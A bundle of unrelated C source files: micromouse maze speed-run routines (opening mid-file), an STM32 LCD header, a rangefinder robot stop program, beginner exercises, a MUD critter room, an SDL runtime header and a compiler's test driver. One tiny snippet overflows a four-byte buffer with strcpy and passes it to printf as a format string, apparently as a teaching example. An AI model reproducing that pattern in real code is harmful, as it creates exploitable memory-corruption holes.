Diagonal to diagonal -90 else if (pathSLR[headSLR] == RIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == LEFT && pathSLR[headSLR+3] == RIGHT) { diagCount = countDiagonals(LEFT, headSLR + 2); path[head++] = DD90L; if (diagCount > 0) { path[head++] = DD0; path[head++] = diagCount; } headSLR += diagCount + 1; } } return 1; } int32_t generatePathSmooth(uint16_t targetX, uint16_t targetY) { if (generatePathSLR(targetX, targetY) == 0) { // if error, return 0 return 0; } // zero path array for (int32_t i = 0; i < 300; i++) { path[i] = 0; } uint32_t head = 0; uint32_t headSLR = 0; for (headSLR = 0; pathSLR[headSLR] != 0; headSLR++) { // Stopping condition if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == 0) { } // Straight to straight 0 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == STRAIGHT) { uint32_t i; for (i = 0; pathSLR[headSLR + i] == STRAIGHT; i++); // count straights path[head++] = SS0; path[head++] = i-1; headSLR += i-2; } // Straight to straight +90 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == STRAIGHT) { path[head++] = SS90R; headSLR += 2; } // Straight to straight -90 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == STRAIGHT) { path[head++] = SS90L; headSLR += 2; } // Straight to straight +180 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == RIGHT && pathSLR[headSLR+3] == STRAIGHT) { path[head++] = SS180R; headSLR += 2; } // Straight to straight -180 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == LEFT && pathSLR[headSLR+3] == STRAIGHT) { path[head++] = SS180L; headSLR += 2; } // Left else if (pathSLR[headSLR] == LEFT) { path[head++] = LEFT; } // Right else if (pathSLR[headSLR] == RIGHT) { path[head++] = RIGHT; } // Straight 0 else if (pathSLR[headSLR] == STRAIGHT) { path[head++] = SS0; path[head++] = 0; headSLR++; } } /* for (int i = 0; pathSLR[i]; i++) printf("path[i] = %d\r\n", path[i]); */ return 1; } int32_t speedRunDiag(uint16_t targetX, uint16_t targetY) { if (generatePathDiag(targetX, targetY) == 0) { // if error, return 0 return 0; } uint32_t i = 0; enableMotorControl(); // Initial case if (curPosX == 0 && curPosY == 0 && orientation == NORTH) { moveStraight(mm_to_counts(84 - centerToBackDist)/cellDistance, straightSpeed, getStartSpeed(path[i])); } for (i = 0; path[i] != 0; i++) { if (path[i] == SS0) { i++; moveStraight(path[i], straightSpeed, getStartSpeed(path[i+1])); } else if (path[i] == SS90L) { curveLeft90SS(); } else if (path[i] == SS90R) { curveRight90SS(); } else if (path[i] == SS180L) { curveLeft180SS(); } else if (path[i] == SS180R) { curveRight180SS(); } else if (path[i] == SD45L) { curveLeft45SD(); } else if (path[i] == SD45R) { curveRight45SD(); } else if (path[i]== SD135L) { curveLeft135SD(); } else if (path[i] == SD135R) { curveRight135SD(); } else if (path[i]== DS45L) { curveLeft45DS(); } else if (path[i] == DS45R) { curveRight45DS(); } else if (path[i]== DS135L) { curveLeft135DS(); } else if (path[i]== DS135R) { curveRight135DS(); } else if (path[i]== DD90L) { curveLeft90DD(); } else if (path[i] == DD90R) { curveRight90DD(); } else if (path[i]== DD0) { i++; moveDiagonal(path[i], diagSpeed, getStartSpeed(path[i+1])); } } // Detect overshoot int32_t overshoot = (getLeftEncCount() + getRightEncCount())/2; decX = 10; targetSpeedX = 0; delay_ms(500); // Update position curPosX = targetX; curPosY = targetY; // If has front wall, align if (useAlignment && ((orientation == NORTH && hasNorthWall(curPosX, curPosY)) || (orientation == EAST && hasEastWall(curPosX, curPosY)) || (orientation == SOUTH && hasSouthWall(curPosX, curPosY)) || (orientation == WEST && hasWestWall(curPosX, curPosY)))) { overshoot = 0; align(); } else { overshoot = (getLeftEncCount() + getRightEncCount())/2 - overshoot; } // If has left wall, align with left wall if (useAlignment && ((orientation == NORTH && hasWestWall(curPosX, curPosY)) || (orientation == EAST && hasNorthWall(curPosX, curPosY)) || (orientation == SOUTH && hasEastWall(curPosX, curPosY)) || (orientation == WEST && hasSouthWall(curPosX, curPosY)))) { pivotLeft90(); align(); pivotLeft90(); } // Else if has right wall, align with right wall else if (useAlignment && ((orientation == NORTH && hasEastWall(curPosX, curPosY)) || (orientation == EAST && hasSouthWall(curPosX, curPosY)) || (orientation == SOUTH && hasWestWall(curPosX, curPosY)) || (orientation == WEST && hasNorthWall(curPosX, curPosY)))) { pivotRight90(); align(); pivotRight90(); } // Else, no alignment, rotate right 180 else { // Turn around pivotRight180(); } delay_ms(pivotTurnDelay); // Move to center of cell to correct overshoot if (overshoot > 0) { moveStraight(overshoot/cellDistance, 0.2, stopSpeed); delay_ms(200); } if (orientation == NORTH) orientation = SOUTH; else if (orientation == EAST) orientation = WEST; else if (orientation == SOUTH) orientation = NORTH; else if (orientation == WEST) orientation = EAST; disableMotorControl(); return 1; } int32_t speedRunSmooth(uint16_t targetX, uint16_t targetY) { if (generatePathSmooth(targetX, targetY) == 0) { // if error, return 0 return 0; } uint32_t i = 0; enableMotorControl(); // Initial case if (curPosX == 0 && curPosY == 0 && orientation == NORTH) { if (path[i] == LEFT || path[i] == RIGHT) moveStraight(mm_to_counts(84 - centerToBackDist)/cellDistance + 0.5f, straightSpeed, getStartSpeed(path[i])); else moveStraight(mm_to_counts(84 - centerToBackDist)/cellDistance, straightSpeed, getStartSpeed(path[i])); if (orientation == NORTH) curPosY++; else if (orientation == EAST) curPosX++; else if (orientation == SOUTH) curPosY--; else if (orientation == WEST) curPosX--; } for (i = 0; path[i] != 0; i++) { if (path[i] == SS0) { i++; // skip distance value if (path[i+1] == LEFT || path[i+1] == RIGHT) moveStraight((float)path[i] + 0.5f, straightSpeed, getStartSpeed(path[i+1])); else moveStraight(path[i], straightSpeed, getStartSpeed(path[i+1])); if (orientation == NORTH) curPosY += path[i+1]; else if (orientation == EAST) curPosX += path[i+1]; else if (orientation == SOUTH) curPosY -= path[i+1]; else if (orientation == WEST) curPosX -= path[i+1]; } else if (path[i] == SS90L) { curveLeft90SS(); if (orientation == NORTH) { curPosX -= 2; orientation = WEST; } else if (orientation == EAST) { curPosY += 2; orientation = NORTH; } else if (orientation == SOUTH) { curPosX += 2; orientation = EAST; } else if (orientation == WEST) { curPosY -= 2; orientation = SOUTH; } } else if (path[i] == SS90R) { curveRight90SS(); if (orientation == NORTH) { curPosX += 2; orientation = EAST; } else if (orientation == EAST) { curPosY -= 2; orientation = SOUTH; } else if (orientation == SOUTH) { curPosX -= 2; orientation = WEST; } else if (orientation == WEST) { curPosY += 2; orientation = NORTH; } } else if (path[i] == SS180L) { curveLeft180SS(); if (orientation == NORTH) { curPosX--; curPosY -= 2; orientation = SOUTH; } else if (orientation == EAST) { curPosX -= 2; curPosY++; orientation = WEST; } else if (orientation == SOUTH) { curPosX++; curPosY += 2; orientation = NORTH; } else if (orientation == WEST) { curPosX += 2; curPosY--; orientation = EAST; } } else if (path[i] == SS180R) { curveRight180SS(); if (orientation == NORTH) { curPosX++; curPosY -= 2; orientation = SOUTH; } else if (orientation == EAST) { curPosX -= 2; curPosY--; orientation = WEST; } else if (orientation == SOUTH) { curPosX--; curPosY += 2; orientation = NORTH; } else if (orientation == WEST) { curPosX += 2; curPosY++; orientation = EAST; } } else if (path[i] == LEFT) { curveLeft90(); if (path[i+1] != LEFT && path[i+1] != RIGHT) moveStraight(0.5, straightSpeed, getStartSpeed(path[i+1])); if (orientation == NORTH) { curPosX--; orientation = WEST; } else if (orientation == EAST) { curPosY++; orientation = NORTH; } else if (orientation == SOUTH) { curPosX++; orientation = EAST; } else if (orientation == WEST) { curPosY--; orientation = SOUTH; } } else if (path[i] == RIGHT) { curveRight90(); if (path[i+1] != LEFT && path[i+1] != RIGHT) moveStraight(0.5, straightSpeed, getStartSpeed(path[i+1])); if (orientation == NORTH) { curPosX++; orientation = EAST; } else if (orientation == EAST) { curPosY--; orientation = SOUTH; } else if (orientation == SOUTH) { curPosX--; orientation = WEST; } else if (orientation == WEST) { curPosY++; orientation = NORTH; } } } // Detect overshoot int32_t overshoot = (getLeftEncCount() + getRightEncCount())/2; decX = 10; targetSpeedX = 0; delay_ms(500); // Update position curPosX = targetX; curPosY = targetY; // If has front wall, align if (useAlignment && ((orientation == NORTH && hasNorthWall(curPosX, curPosY)) || (orientation == EAST && hasEastWall(curPosX, curPosY)) || (orientation == SOUTH && hasSouthWall(curPosX, curPosY)) || (orientation == WEST && hasWestWall(curPosX, curPosY)))) { overshoot = 0; align(); } else { overshoot = (getLeftEncCount() + getRightEncCount())/2 - overshoot; } // If has left wall, align with left wall if (useAlignment && ((orientation == NORTH && hasWestWall(curPosX, curPosY)) || (orientation == EAST && hasNorthWall(curPosX, curPosY)) || (orientation == SOUTH && hasEastWall(curPosX, curPosY)) || (orientation == WEST && hasSouthWall(curPosX, curPosY)))) { pivotLeft90(); align(); pivotLeft90(); } // Else if has right wall, align with right wall else if (useAlignment && ((orientation == NORTH && hasEastWall(curPosX, curPosY)) || (orientation == EAST && hasSouthWall(curPosX, curPosY)) || (orientation == SOUTH && hasWestWall(curPosX, curPosY)) || (orientation == WEST && hasNorthWall(curPosX, curPosY)))) { pivotRight90(); align(); pivotRight90(); } // Else, no alignment, rotate right 180 else { // Turn around pivotRight180(); } delay_ms(pivotTurnDelay); // Move to center of cell to correct overshoot if (overshoot > 0) { moveStraight(overshoot/cellDistance, 0.2, stopSpeed); delay_ms(200); } if (orientation == NORTH) orientation = SOUTH; else if (orientation == EAST) orientation = WEST; else if (orientation == SOUTH) orientation = NORTH; else if (orientation == WEST) orientation = EAST; disableMotorControl(); return 1; } int32_t speedRunClassic(uint16_t targetX, uint16_t targetY){ if (generatePathNESW(targetX, targetY) == 0) { return 0; } enableMotorControl(); for (uint32_t i = 0; length[i] != 0; i++) { // First straight if (i == 0) { if (curPosX == 0 && curPosY == 0 && orientation == NORTH) moveStraight(mm_to_counts(84 - centerToBackDist)/cellDistance + length[i] - 0.5f, straightSpeed, turnSpeed); else moveStraight(length[i] - 0.5f, straightSpeed, turnSpeed); if (orientation == NORTH) curPosY += length[i]; else if (orientation == EAST) curPosX += length[i]; else if (orientation == SOUTH) curPosY -= length[i]; else if (orientation == WEST) curPosX -= length[i]; } // Last straight else if (length[i+1] == 0) { moveStraight(length[i] - (1 - (0.5f + mm_to_counts(pivotOffsetBefore)/cellDistance)), straightSpeed, stopSpeed); if (orientation == NORTH) curPosY += length[i] - 1; else if (orientation == EAST) curPosX += length[i] - 1; else if (orientation == SOUTH) curPosY -= length[i] - 1; else if (orientation == WEST) curPosX -= length[i] - 1; } // Intermediate straight else { moveStraight(length[i] - 1, straightSpeed, turnSpeed); if (orientation == NORTH) curPosY += length[i] - 1; else if (orientation == EAST) curPosX += length[i] - 1; else if (orientation == SOUTH) curPosY -= length[i] - 1; else if (orientation == WEST) curPosX -= length[i] - 1; } if (length[i+1] == 0) break; // Curve turn if (nextDir[i] == NORTH) moveN(); else if (nextDir[i] == EAST) moveE(); else if (nextDir[i] == SOUTH) moveS(); else if (nextDir[i] == WEST) moveW(); } delay_ms(200); // If has front wall, align if (useAlignment && ((orientation == NORTH && hasNorthWall(curPosX, curPosY)) || (orientation == EAST && hasEastWall(curPosX, curPosY)) || (orientation == SOUTH && hasSouthWall(curPosX, curPosY)) || (orientation == WEST && hasWestWall(curPosX, curPosY)))) { align(); } // If has left wall, align with left wall if (useAlignment && ((orientation == NORTH && hasWestWall(curPosX, curPosY)) || (orientation == EAST && hasNorthWall(curPosX, curPosY)) || (orientation == SOUTH && hasEastWall(curPosX, curPosY)) || (orientation == WEST && hasSouthWall(curPosX, curPosY)))) { pivotLeft90(); align(); pivotLeft90(); } // Else if has right wall, align with right wall else if (useAlignment && ((orientation == NORTH && hasEastWall(curPosX, curPosY)) || (orientation == EAST && hasSouthWall(curPosX, curPosY)) || (orientation == SOUTH && hasWestWall(curPosX, curPosY)) || (orientation == WEST && hasNorthWall(curPosX, curPosY)))) { pivotRight90(); align(); pivotRight90(); } // Else, no alignment, rotate right 180 else { pivotRight180(); } if (orientation == NORTH) orientation = SOUTH; else if (orientation == EAST) orientation = WEST; else if (orientation == SOUTH) orientation = NORTH; else if (orientation == WEST) orientation = EAST; disableMotorControl(); return 1; } int32_t generatePathNESW(uint16_t targetX, uint16_t targetY) { uint32_t count = 0; // zero nextDir and length array for (int32_t i = 0; i < 300; i++) { nextDir[i] = 0; length[i] = 0; } // Store copy of distance values for (uint32_t i = 0; i < SIZEX; i++) { for (uint32_t j = 0; j < SIZEY; j++) { tempDistance[i][j] = distance[i][j]; } } // Store copy of wall info for (uint32_t i = 0; i < SIZEX; i++) { for (uint32_t j = 0; j < SIZEY; j++) { tempCell[i][j] = cell[i][j]; } } // Simulate current position and orientation uint16_t simPosX = curPosX; uint16_t simPosY = curPosY; uint16_t simOrientation = orientation; // Block off untraced routes closeUntracedCells(); updateDistancesComplete(targetX, targetY, targetX, targetY, targetX, targetY, targetX, targetY); uint32_t i; for (i = 0; !(simPosX == targetX && simPosY == targetY); i++) { if (simOrientation == NORTH) { while (!hasNorthWall(simPosX, simPosY) && (distance[simPosX][simPosY+1] == distance[simPosX][simPosY] - 1) && hasTrace(simPosX, simPosY+1)) { simPosY++; count++; } } else if (simOrientation == EAST) { while (!hasEastWall(simPosX, simPosY) && (distance[simPosX+1][simPosY] == distance[simPosX][simPosY] - 1) && hasTrace(simPosX+1, simPosY)) { simPosX++; count++; } } else if (simOrientation == SOUTH) { while (!hasSouthWall(simPosX, simPosY) && (distance[simPosX][simPosY-1] == distance[simPosX][simPosY] - 1) && hasTrace(simPosX, simPosY-1)) { simPosY--; count++; } } else if (simOrientation == WEST) { while (!hasWestWall(simPosX, simPosY) && (distance[simPosX-1][simPosY] == distance[simPosX][simPosY] - 1) && hasTrace(simPosX-1, simPosY)) { simPosX--; count++; } } //Error check if (count == 0) { // Restore distance values for (uint32_t i = 0; i < SIZEX; i++) { for (uint32_t j = 0; j < SIZEY; j++) { distance[i][j] = tempDistance[i][j]; } } // Restore cell data for (uint32_t i = 0; i < SIZEX; i++) { for (uint32_t j = 0; j < SIZEY; j++) { cell[i][j] = tempCell[i][j]; } } return 0; } length[i] = count; nextDir[i] = getNextDirection(simPosX, simPosY); simOrientation = nextDir[i]; count = 0; } // Encode stopping condition length[i] = 0; nextDir[i] = 0; // Restore distance values for (uint32_t i = 0; i < SIZEX; i++) { for (uint32_t j = 0; j < SIZEY; j++) { distance[i][j] = tempDistance[i][j]; } } // Restore cell data for (uint32_t i = 0; i < SIZEX; i++) { for (uint32_t j = 0; j < SIZEY; j++) { cell[i][j] = tempCell[i][j]; } } return 1; } // Returns next direction to move in uint16_t getNextDirection(uint16_t xPos, uint16_t yPos) { uint32_t curDist = distance[xPos][yPos]; uint16_t nextDir = 0; uint32_t distN = MAX_DIST; uint32_t distE = MAX_DIST; uint32_t distS = MAX_DIST; uint32_t distW = MAX_DIST; if (yPos < SIZEY-1) distN = distance[xPos][yPos+1]; if (xPos < SIZEX-1) distE = distance[xPos+1][yPos]; if (yPos > 0) distS = distance[xPos][yPos-1]; if (xPos > 0) distW = distance[xPos-1][yPos]; if (!hasNorthWall(xPos, yPos) && (distN == curDist-1)) { nextDir = NORTH; } else if (!hasEastWall(xPos, yPos) && (distE == curDist-1)) { nextDir = EAST; } else if (!hasSouthWall(xPos, yPos) && (distS == curDist-1)) { nextDir = SOUTH; } else if (!hasWestWall(xPos, yPos) && (distW == curDist-1)) { nextDir = WEST; } return nextDir; } void closeUntracedCells(void) { for (uint32_t x = 0; x < SIZEX; x++) { for (uint32_t y = 0; y < SIZEY; y++) { if (!hasTrace(x, y)) { placeWall(x, y, NORTH); placeWall(x, y, EAST); placeWall(x, y, SOUTH); placeWall(x, y, WEST); } } } } int32_t generatePathSLR(uint16_t targetX, uint16_t targetY) { // Path translation if (generatePathNESW(targetX, targetY) == 0) { // if error, return 0 return 0; } // zero pathSLR array for (int32_t i = 0; i < 300; i++) { pathSLR[i] = 0; } uint32_t i, j; uint32_t head = 0; for (i = 0; length[i] != 0; i++) { // first case if (i == 0) { for (j = 0; j < length[i]; j++) { pathSLR[head + j] = STRAIGHT; } head += j; if (nextDir[i] == NORTH && orientation == EAST) { pathSLR[head] = LEFT; } else if (nextDir[i] == NORTH && orientation == WEST) { pathSLR[head] = RIGHT; } else if (nextDir[i] == EAST && orientation == NORTH) { pathSLR[head] = RIGHT; } else if (nextDir[i] == EAST && orientation == SOUTH) { pathSLR[head] = LEFT; } else if (nextDir[i] == SOUTH && orientation == EAST) { pathSLR[head] = RIGHT; } else if (nextDir[i] == SOUTH && orientation == WEST) { pathSLR[head] = LEFT; } else if (nextDir[i] == WEST && orientation == NORTH) { pathSLR[head] = LEFT; } else if (nextDir[i] == WEST && orientation == SOUTH) { pathSLR[head] = RIGHT; } } // intermediate case else { for (j = 0; j < length[i]-1; j++) { pathSLR[head + j] = STRAIGHT; } head += j; if (nextDir[i] == NORTH && nextDir[i-1] == EAST) { pathSLR[head] = LEFT; } else if (nextDir[i] == NORTH && nextDir[i-1] == WEST) { pathSLR[head] = RIGHT; } else if (nextDir[i] == EAST && nextDir[i-1] == NORTH) { pathSLR[head] = RIGHT; } else if (nextDir[i] == EAST && nextDir[i-1] == SOUTH) { pathSLR[head] = LEFT; } else if (nextDir[i] == SOUTH && nextDir[i-1] == EAST) { pathSLR[head] = RIGHT; } else if (nextDir[i] == SOUTH && nextDir[i-1] == WEST) { pathSLR[head] = LEFT; } else if (nextDir[i] == WEST && nextDir[i-1] == NORTH) { pathSLR[head] = LEFT; } else if (nextDir[i] == WEST && nextDir[i-1] == SOUTH) { pathSLR[head] = RIGHT; } } head++; } // last case head--; pathSLR[head] = STRAIGHT; return 1; } int32_t countDiagonals(uint32_t startDir, uint32_t headSLR) { // +45 -135 if (startDir == RIGHT && pathSLR[headSLR] == RIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == RIGHT) return countDiagonals(LEFT, headSLR + 1) + 1; // -45 +135 else if (startDir == LEFT && pathSLR[headSLR] == LEFT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == LEFT) return countDiagonals(RIGHT, headSLR + 1) + 1; return 0; }
C
/** ****************************************************************************** * @file LCD1602X4bit.h * @author Ho Sy Hoang * @date 17 April 2020 ****************************************************************************** */ //my english is a bit bad, so please understand me =)) #ifndef __LCD1602x4bit_H #define __LCD1602x4bit_H #ifdef __cplusplus extern "C" { #endif #include "stm32f1xx_hal.h" typedef struct { uint16_t PIN; GPIO_TypeDef *PORT; } LCD_PIN_TypeDef; //GPIO PIN define // if you want to use ports C or D just define them and change a bit in the setPin function in the LCD1602x4bit.b file // 4 high-bit use to contain the port // 4 low-bit use to contain the GPIO Pin #define PA0 0x10 #define PA1 0x11 #define PA2 0x12 #define PA3 0x13 #define PA4 0x14 #define PA5 0x15 #define PA6 0x16 #define PA7 0x17 #define PA8 0x18 #define PA9 0x19 #define PA10 0x1A #define PA11 0x1B #define PA12 0x1C #define PA13 0x1D #define PA14 0x1E #define PA15 0x1F #define PB0 0x20 #define PB1 0x21 #define PB2 0x22 #define PB3 0x23 #define PB4 0x24 #define PB5 0x25 #define PB6 0x26 #define PB7 0x27 #define PB8 0x28 #define PB9 0x29 #define PB10 0x2A #define PB11 0x2B #define PB12 0x2C #define PB13 0x2D #define PB14 0x2E #define PB15 0x2F void lcd_send_data(uint8_t data); void lcd_send_cmd(uint8_t cmd); void lcd_display_number(unsigned char number); void lcd_make_syms(char dat[]); void lcd_goto_XY (int row, int col); void lcd_clear_display (void); void lcd_send_string (char *str); void lcd_init (uint8_t RS_PIN,uint8_t EN_PIN,uint8_t D4_PIN,uint8_t D5_PIN,uint8_t D6_PIN,uint8_t D7_PIN); /********************************************************************************************************************************/ uint32_t Delay_Us_Init(void); __STATIC_INLINE void Delay_us(volatile uint32_t microseconds) // if you want to use this function in the main.c file , you must call the Delay_Us_Init function first { uint32_t clk_cycle_start = DWT->CYCCNT; /* Go to number of cycles for system */ microseconds *= (HAL_RCC_GetHCLKFreq() / 1000000); /* Delay till end */ while ((DWT->CYCCNT - clk_cycle_start) < microseconds); } /********************************************************************************************************************************/ #ifdef __cplusplus } #endif #endif /********************************* END OF FILE ********************************/ /******************************************************************************/
C
#include <stdio.h> #include <unistd.h> #include <sys/time.h> #include <signal.h> #include <math.h> #include <ypspur.h> #include <scip2awd.h> int escape; void ctrlc( int notused ) { // MDコマンドを発行したままプログラムを終了すると、 // 次回起動時に少し余分に時間がかかる escape = 1; signal( SIGINT, NULL ); } int main( int argc, char *argv[] ) { S2Port *port; // ポート S2Sdd_t buf; // データ取得用ダブルバッファ S2Scan_t *scan; // データ読み出し用構造体 S2Param_t param; // センサのパラメータ構造体 int ret; if( argc != 2 ){ fprintf( stderr, "USAGE: %s device\n", argv[0] ); return 0; } if ( Spur_init() < 0 ) { fprintf(stderr, "ERROR : cannot open spur.\n"); return -1; } Spur_set_pos_GL( 0, 0, 0 ); Spur_set_pos_LC( 0, 0, 0 ); Spur_set_vel( 0.2 ); Spur_set_accel( 1.0 ); Spur_set_angvel( M_PI ); Spur_set_angaccel( M_PI ); //Spur_stop_line_GL( 5.0, 0.0, M_PI / 2 ); Spur_stop_line_GL( 5.0, 0.0, 0.0 ); // ポートを開く port = Scip2_Open( argv[1], B0 ); if( port == 0 ){ fprintf( stderr, "ERROR: Failed to open device.\n" ); return 0; } printf( "Port opened\n" ); // 初期化 escape = 0; signal( SIGINT, ctrlc ); S2Sdd_Init( &buf ); printf( "Buffer initialized\n" ); // URGのパラメータ取得 Scip2CMD_PP( port, &param ); // URG-04LXの全方向のデータを取得開始 Scip2CMD_StartMS( port, param.step_min, param.step_max, 1, 0, 0, &buf, SCIP2_ENC_3BYTE ); while( !escape ){ ret = S2Sdd_Begin( &buf, &scan ); if( ret > 0 ){ // 新しいデータがあった時の処理をここで行う printf( "Front distance: %lu mm\n", scan->data[ param.step_front - param.step_min ] ); if ( scan->data[ param.step_front - param.step_min ] < 1000.0 ) { Spur_set_vel( 0.0 ); Spur_set_accel( -2.5 ); escape = 1; } // S2Sdd_BeginとS2Sdd_Endの間でのみ、構造体scanの中身にアクセス可能 S2Sdd_End( &buf ); } else if( ret == -1 ){ // 致命的なエラー時(URGのケーブルが外れたときなど) fprintf( stderr, "ERROR: Fatal error occurred.\n" ); break; } else{ // 新しいデータはまだ無い usleep( 10000 ); } } printf( "\nStopping\n" ); ret = Scip2CMD_StopMS( port, &buf ); if( ret == 0 ){ fprintf( stderr, "ERROR: StopMS failed.\n" ); return 0; } printf( "Stopped\n" ); S2Sdd_Dest( &buf ); printf( "Buffer destructed\n" ); Scip2_Close( port ); printf( "Port closed\n" ); return 1; }
C
/*Write a program using pointers to find the smallest number in an array of 25 integers.*/ #include <stdio.h> int main() { int i,n,a[25]={}; printf("Enter 25 numbers: "); for(i=0;i<25;i++) scanf("%d",&a[i]); n=*a; for(i=0;i<=24;i++) { if(*(a+i)<n) n=*(a+i); } printf("smallest number in array: %d\n",n); }
C
#include<stdio.h> #include<conio.h> void main() { int a,b,i; printf("enter number"); scanf("%d",&a); printf("enter a range"); scanf("%d",&b); for(i=0;i<=b;i++) { printf("%d*%d=%d\n",a,i,a*i); } getch(); }
C
#include <stdio.h> void interchange(int u, int v); int main(){ int x=5, y=10; printf("main() 교환 전 x= %d, y=%d\n", x, y); interchange(x, y); printf("main() 교환 후 x= %d, y=%d\n", x, y); return 0; } void interchange(int u, int v){ int temp; printf("interchange() 교환 전 x= %d, y=%d\n", u, v); temp=u; u=v; v=temp; printf("interchange() 교환 후 x= %d, y=%d\n", u, v); }
C
inherit "/players/vertebraker/closed/std/room.c"; #include "../../defs.h" #include "../../room_funcs.h" #define COST 3000 #define SP_COST 40 #define MAX_LEVEL 18 reset(arg) { if(arg) return; set_light(1); set_short("Clan Hall - critter room"); set_long("room with a critter you can summon.\n"+ "type 'create_critter x', where 'x' is a number\n"+ "between 1 and " + MAX_LEVEL + ", representing the level of the critter you want.\n"+ "cost is " +COST+ " coins from the clan coffers, and " + SP_COST + " spell points.\n"); add_property("NT"); restore_me(); } init() { ::init(); check_valid_entry(); add_action("create_critter","create_critter"); } create_critter(string str) { int critter_level, this_cost; object critter; if(!str || sscanf(str,"%d",critter_level) != 1 || critter_level < 1 || critter_level > MAX_LEVEL) { write("You must supply a level between 1 and " + MAX_LEVEL +".\n"); return 1; } this_cost = critter_level * COST; if(C_OBJ->query_private_coffer() <this_cost) { write("Your clan is too poor for you to create a critter of that level.\n"); return 1; } if(this_player()->query_sp() < SP_COST) { write("You need more spell points first!\n"); return 1; } if(present("clan_critter_create",this_object())) { write("Only one critter can be in here at a time.\n"); return 1; } C_OBJ->add_private_coffer(-this_cost); this_player()->add_sp(-SP_COST); critter = clone_object(TOP_DIR +"obj/create_critter"); critter->set_level(critter_level); critter->set_short(critter->short() + " (level " + critter_level + ")"); move_object(critter,this_object()); write("You summon a level " + critter_level + " critter.\n"); say(this_player()->query_name() + " summons a level " + critter_level + " critter.",this_player()); return 1; } query_cost() { return 65000; }
C
#pragma once #include <SDL2/SDL.h> #include <stdio.h> #include <stdlib.h> #include <string.h> struct entity_node; typedef struct entity_node { //Pointers kept to step and render functions so they can be called //by main void (*step)(void* in); //'in' cast to appropriate type from within void (*render)(void* in); void* data; struct entity_node* next; } entity_node; struct alloc_node; typedef struct alloc_node { void* ptr; struct alloc_node* next; int ref_count; } alloc_node; struct texture; typedef struct texture { SDL_Surface* surface; int width; int height; } texture; /* Core globals shared across all modules */ static entity_node* ehead = NULL; //Entity list static alloc_node* ahead = NULL; //Allocation list static SDL_Window* sdl_window = NULL; //SDL window static SDL_Surface* sdl_screen_surface = NULL; static int window_inited = 0; //Have we created an SDL window? /* Memory management */ void _make_node(void* ptr); alloc_node* _find_alloc_node(void* ptr); void _increment_refs(void* ptr); void _decrement_refs(void* ptr); void _gc(); /* Runtime errors */ void _seam_fatal(char* err); /* Entity mangement */ /* 'convert' entity */ char* _string_join(char* str1, char* str2); char* _convert_int_to_str(int input); char* _convert_float_to_str(float input); float _convert_int_to_float(int input); int _convert_float_to_int(float input); /* 'screen' entity */ void _screen_out(char* message); void _screen_init(int width, int height); void _screen_stop(); void _screen_delay(int milliseconds); /* Not provided to user */ void _screen_set_background(int color); void _screen_draw(texture* tex, int x, int y); /* Texture loading */ texture* _load_tex(char* path); void _unload_tex(texture* surface); /* 'keyboard' entity */ int _keyboard_keydown(int code);
C
#include <stdio.h> #include <stdlib.h> #include <math.h> int main (void){ float a, b; printf ("Ponha o valor de a aqui:"); scanf ("%f", &a); printf ("Ponha o valor de b aqui:"); scanf ("%f", &b); if (a == b){ printf ("O menor valor eh igual ah: %.3f", a); }else{ if (a < b){ printf ("O menor valor eh igual ah: %.3f", a); }else{ printf ("O menor valor eh igual ah: %.3f", b); } } return 0; }
C
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(void) { char myStr[4] = "cat"; strcpy(myStr, "bird"); printf(myStr); return 0; }
C
/** * @file main.c * * Hlavní část překladače * * IFJ Projekt 2018, Tým 13 * * @author <xforma14> Klára Formánková * @author <xlanco00> Jan Láncoš * @author <xsebel04> Vít Šebela * @author <xchalo16> Jan Chaloupka */ #include "main.h" #define SYNTAX_TESTS 11 #define SEMANTIC_TESTS 13 int main(/*int argc, char const *argv[]*/){ /*if(argc > 1){ if(strcmp(argv[1], "j32") == 0) return janchDebug(); if(strcmp(argv[1], "yell") == 0) return yellDebug(); if(strcmp(argv[1], "vita") == 0) return vitaDebug(); }*/ pToken token; int retval = scannerGetTokenList(&token, stdin); if(retval == 0){ generateBaseCode(); retval = parser(&token); } scannerFreeTokenList(&token); return retval; } int vitaDebug(){ FILE *file_test[SEMANTIC_TESTS]; FILE *file_expected[SEMANTIC_TESTS]; char c = ' '; char test[30]; char testOut[30]; pToken token = NULL; for(int i = 0; i < SYNTAX_TESTS; i++){ printf("\033[1;33m"); printf("------------------- TEST_%d -------------------|\n", i+1); printf("\033[0m"); sprintf(test, "tests/tests_syn/test%d", i+1); sprintf(testOut, "tests/tests_syn/test%d.out", i+1); if((file_expected[i] = fopen(testOut, "r")) == NULL){ printf("nepodarilo se otevrit soubor %s", testOut); continue; } if((file_test[i] = fopen(test, "r")) == NULL){ printf("nepodarilo se otevrit soubor %s", test); continue; } c = ' '; while(c != EOF){ c = getc(file_expected[i]); printf("%c",c); } printf("\n\n"); scannerGetTokenList(&token, file_test[i]); parser(&token); fclose(file_test[i]); fclose(file_expected[i]); scannerFreeTokenList(&token); scannerFSM(NULL, NULL); printf("\033[1;31m"); printf("\n________________END OF TEST_%d_________________|\n", i+1); printf("\033[0m"); if(i < SYNTAX_TESTS-1) printf("|\n|\n"); } for (int i = 0; i < SEMANTIC_TESTS; i++) { printf("\x1B[32m"); printf("------------------- TEST_%d -------------------|\n", i+1); printf("\033[0m"); sprintf(test, "tests/tests_sem/test%d", i+1); sprintf(testOut, "tests/tests_sem/test%d.out", i+1); if((file_expected[i] = fopen(testOut, "r")) == NULL){ printf("nepodarilo se otevrit soubor %s", testOut); continue; } if((file_test[i] = fopen(test, "r")) == NULL){ printf("nepodarilo se otevrit soubor %s", test); continue; } c = ' '; while(c != EOF){ c = getc(file_expected[i]); printf("%c",c); } printf("\n\n"); scannerGetTokenList(&token, file_test[i]); parser(&token); fclose(file_test[i]); fclose(file_expected[i]); scannerFreeTokenList(&token); scannerFSM(NULL, NULL); printf("\x1B[34m"); printf("\n________________END OF TEST_%d_________________|\n", i+1); 